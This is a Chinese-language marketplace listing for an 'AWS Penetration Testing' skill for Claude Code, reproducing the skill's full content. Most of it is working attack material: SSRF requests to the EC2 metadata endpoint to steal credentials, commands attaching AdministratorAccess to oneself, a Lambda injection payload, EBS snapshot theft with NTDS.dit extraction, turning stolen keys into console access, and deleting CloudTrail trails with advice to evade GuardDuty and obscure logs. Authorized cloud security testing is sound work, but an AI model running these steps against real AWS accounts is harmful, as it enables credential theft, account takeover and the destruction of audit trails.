mcpField
A
AWS Penetration Testing

AWS Penetration Testing

github.com/davila7安全33.0k218 次安装1 天前更新
代码仓库

关于 AWS Penetration Testing

AWS Penetration Testing 为获授权的安全测试人员提供 AWS 环境渗透测试流程与技术参考,覆盖 IAM、EC2、S3 和 Lambda 等资源。内容从枚举延伸至权限提升和审计发现,并强调书面授权、范围控制与记录操作。

主要功能

  1. 01枚举 IAM 身份、权限和策略
  2. 02检查元数据端点与临时凭证风险
  3. 03测试 S3、Lambda 和 EC2 资源
  4. 04梳理权限提升路径
  5. 05记录审计发现并遵守测试约束

适用场景

  1. 01评估 AWS 身份与访问权限配置
  2. 02在授权范围内检查云资源暴露面
  3. 03为红队演练梳理潜在权限提升路径
  4. 04整理 AWS 安全审计发现

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/davila7/claude-code-templates --skill aws-penetration-testing

安装后在 Claude Code 中输入/aws-penetration-testing确认已加载。

附带文件references/advanced-aws-pentesting.md

详细介绍

AWS 渗透测试

目的

提供针对 AWS 云环境进行渗透测试的综合技术。涵盖 IAM 枚举、权限提升、利用 SSRF 访问元数据端点、S3 存储桶利用、提取 Lambda 代码,以及用于红队行动的持久化技术。

输入/前提条件

  • 已配置凭证的 AWS CLI
  • 有效的 AWS 凭证(即使权限较低)
  • 了解 AWS IAM 模型
  • Python 3、boto3 库
  • 工具:Pacu、Prowler、ScoutSuite、SkyArk

输出/交付物

  • IAM 权限提升路径
  • 提取的凭证和机密
  • 已攻陷的 EC2/Lambda/S3 资源
  • 持久化机制
  • 安全审计发现

核心工具

工具用途安装
PacuAWS 利用框架git clone https://github.com/RhinoSecurityLabs/pacu
SkyArkShadow Admin 发现Import-Module .\SkyArk.ps1
Prowler安全审计pip install prowler
ScoutSuite多云审计pip install scoutsuite
enumerate-iam权限枚举git clone https://github.com/andresriancho/enumerate-iam
Principal MapperIAM 分析pip install principalmapper

核心工作流

步骤 1:初始枚举

识别已攻陷的身份及其权限:

# Check current identity
aws sts get-caller-identity

# Configure profile
aws configure --profile compromised

# List access keys
aws iam list-access-keys

# Enumerate permissions
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
步骤 2:IAM 枚举
# List all users
aws iam list-users

# List groups for user
aws iam list-groups-for-user --user-name TARGET_USER

# List attached policies
aws iam list-attached-user-policies --user-name TARGET_USER

# List inline policies
aws iam list-user-policies --user-name TARGET_USER

# Get policy details
aws iam get-policy --policy-arn POLICY_ARN
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1

# List roles
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAME
步骤 3:元数据 SSRF(EC2)

利用 SSRF 访问元数据端点(IMDSv1):

# Access metadata endpoint
http://169.254.169.254/latest/meta-data/

# Get IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Extract temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME

# Response contains:
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2019-08-01T05:20:30Z"
}

对于 IMDSv2(需要令牌):

# Get token first
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
  "http://169.254.169.254/latest/api/token")

# Use token for requests
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Fargate 容器凭证:

# Read environment for credential path
/proc/self/environ
# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...

# Access credentials
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH

权限提升技术

Shadow Admin 权限

这些权限等同于管理员权限:

权限利用方式
iam:CreateAccessKey为管理员用户创建密钥
iam:CreateLoginProfile为任意用户设置密码
iam:AttachUserPolicy将管理员策略附加到自身
iam:PutUserPolicy添加内联管理员策略
iam:AddUserToGroup将自身添加到管理员组
iam:PassRole + ec2:RunInstances使用管理员角色启动 EC2
lambda:UpdateFunctionCode向 Lambda 注入代码
为其他用户创建访问密钥
aws iam create-access-key --user-name target_user
附加管理员策略
aws iam attach-user-policy --user-name my_username \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
添加内联管理员策略
aws iam put-user-policy --user-name my_username \
  --policy-name admin_policy \
  --policy-document file://admin-policy.json
Lambda 权限提升
# code.py - Inject into Lambda function
import boto3

def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(
        UserName='my_username',
        PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
    )
    return response
# Update Lambda code
aws lambda update-function-code --function-name target_function \
  --zip-file fileb://malicious.zip

S3 存储桶利用

存储桶发现
# Using bucket_finder
./bucket_finder.rb wordlist.txt
./bucket_finder.rb --download --region us-east-1 wordlist.txt

# Common bucket URL patterns
https://{bucket-name}.s3.amazonaws.com
https://s3.amazonaws.com/{bucket-name}
存储桶枚举
# List buckets (with creds)
aws s3 ls

# List bucket contents
aws s3 ls s3://bucket-name --recursive

# Download all files
aws s3 sync s3://bucket-name ./local-folder
搜索公开存储桶
https://buckets.grayhatwarfare.com/

Lambda 利用

# List Lambda functions
aws lambda list-functions

# Get function code
aws lambda get-function --function-name FUNCTION_NAME
# Download URL provided in response

# Invoke function
aws lambda invoke --function-name FUNCTION_NAME output.txt

SSM 命令执行

Systems Manager 可在 EC2 实例上执行命令:

# List managed instances
aws ssm describe-instance-information

# Execute command
aws ssm send-command --instance-ids "i-0123456789" \
  --document-name "AWS-RunShellScript" \
  --parameters commands="whoami"

# Get command output
aws ssm list-command-invocations --command-id "CMD-ID" \
  --details --query "CommandInvocations[].CommandPlugins[].Output"

EC2 利用

挂载 EBS 卷
# Create snapshot of target volume
aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"

# Create volume from snapshot
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a

# Attach to attacker instance
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf

# Mount and access
sudo mkdir /mnt/stolen
sudo mount /dev/xvdf1 /mnt/stolen
卷影副本攻击(Windows DC)
# CloudCopy technique
# 1. Create snapshot of DC volume
# 2. Share snapshot with attacker account
# 3. Mount in attacker instance
# 4. Extract NTDS.dit and SYSTEM
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local

使用 API 密钥访问控制台

将 CLI 凭证转换为控制台访问权限:

git clone https://github.com/NetSPI/aws_consoler
aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY

# Generates signin URL for console access

清除痕迹

禁用 CloudTrail
# Delete trail
aws cloudtrail delete-trail --name trail_name

# Disable global events
aws cloudtrail update-trail --name trail_name \
  --no-include-global-service-events

# Disable specific region
aws cloudtrail update-trail --name trail_name \
  --no-include-global-service-events --no-is-multi-region-trail

注意: Kali/Parrot/Pentoo Linux 会根据用户代理触发 GuardDuty 警报。请使用会修改用户代理的 Pacu。


快速参考

任务命令
获取身份aws sts get-caller-identity
列出用户aws iam list-users
列出角色aws iam list-roles
列出存储桶aws s3 ls
列出 EC2aws ec2 describe-instances
列出 Lambdaaws lambda list-functions
获取元数据curl http://169.254.169.254/latest/meta-data/

限制

必须:

  • 测试前取得书面授权
  • 记录所有操作以供审计追踪
  • 仅测试范围内的资源

不得:

  • 未经批准修改生产数据
  • 留下未记录的持久化后门
  • 永久禁用安全控制

应当:

  • 尝试元数据攻击前检查是否启用了 IMDSv2
  • 在利用前进行全面枚举
  • 任务结束后清理测试资源

示例

示例 1:通过 SSRF 提升至管理员权限
# 1. Find SSRF vulnerability in web app
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 2. Get role name from response
# 3. Extract credentials
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole

# 4. Configure AWS CLI with stolen creds
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# 5. Verify access
aws sts get-caller-identity

故障排除

问题解决方案
所有命令均被拒绝访问使用 enumerate-iam 枚举权限
元数据端点被阻止检查是否使用 IMDSv2,尝试容器元数据
GuardDuty 发出警报使用带有自定义 user-agent 的 Pacu
凭据已过期从元数据重新获取(临时凭据会轮换)
CloudTrail 记录操作考虑禁用日志记录或混淆日志

其他资源

有关 Lambda/API Gateway 利用、Secrets Manager 和 KMS、容器安全(ECS/EKS/ECR)、RDS/DynamoDB 利用、VPC 横向移动和安全检查清单等高级技术,请参阅 references/advanced-aws-pentesting.md。

评论

支持 Markdown